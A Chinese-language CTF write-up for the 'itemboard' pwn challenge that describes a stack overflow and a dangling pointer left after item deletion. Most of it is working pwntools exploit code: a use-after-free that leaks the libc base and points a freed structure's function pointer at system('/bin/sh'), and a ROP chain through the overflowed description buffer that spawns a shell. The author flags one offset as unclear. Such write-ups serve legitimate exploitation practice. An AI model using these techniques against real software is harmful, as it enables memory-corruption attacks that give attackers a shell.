栈溢出点在item->description,同时还有删除item时只free了块,没有处理item_array,导致存在野指针。参考wp
第一种,uaf方法,由于堆的先进后出,当删除一个item后再申请item,块的内存顺序会和原来相反,因此构造name,此时item_array中的指针指向name,free时会将name当作item,如果将指向free的指针修改为指向system,删除item时就调用了system。
payload如下:
from pwn import *
context.log_level = 'debug'
local=1
if local==1:
p=process('itemboard')
else:
p=remote('pwn2.jarvisoj.com',9887)
e=ELF('itemboard')
libc=ELF('libc-2.19.so')
def new(name,lens,cont):
p.recvuntil('choose:\n')
p.sendline('1')
p.recvuntil('Item name?\n')
p.sendline(name)
p.recvuntil("Description's len?\n")
p.sendline(str(lens))
p.recvuntil('Description?\n')
p.sendline(cont)
def List():
p.recvuntil('choose:\n')
p.sendline('2')
def show(num):
p.recvuntil('choose:\n')
p.sendline('3')
p.recvuntil('Which item?\n')
p.sendline(str(num))
def delete(num):
p.recvuntil('choose:\n')
p.sendline('4')
p.recvuntil('Which item?\n')
p.sendline(str(num))
###############泄漏libc地址
new('11111111',0x80,'1111')
new('22222222',0x80,'2222')
delete(0)
show(0)
p.recvuntil('Description:')
s=u64(p.recvuntil('\x0a')[:-1].ljust(8,'\x00'))
print hex(s)
libc_base=s-88-(0x7ffff7dd3760-0x7ffff7a11000)
#gdb.attach(proc.pidof(p)[0])
sys_addr=libc_base+libc.symbols['system']
new('/bin/sh;EEEEEEEE'+p64(sys_addr),24,'\x0a')
gdb.attach(proc.pidof(p)[0])
delete(0)
p.interactive()
第二种,栈溢出
输入description时buf最大为1024,而length可以自己输入。利用rop。
(这里还是有点问题,s-8这里,指向的是假的item,但如果指向的地址的description指针为空则会崩溃,不明白为什么。)
payload:
bsh_addr=libc_base+libc.search('/bin/sh').next()
rdi_ret=0x0000000000022b9a #### ROPgadget找libc.so中的ret rdi;ret,这里不能用
#### itemboard文件中,应为开启了pie,地址会变
payload='a'*1032+p64(s-8)+ 'aaaaaaaa' #**************************存疑
payload+=p64(rdi_ret+libc_base)+p64(bsh_addr)+p64(sys_addr)
new('1',len(payload),payload)
p.interactive()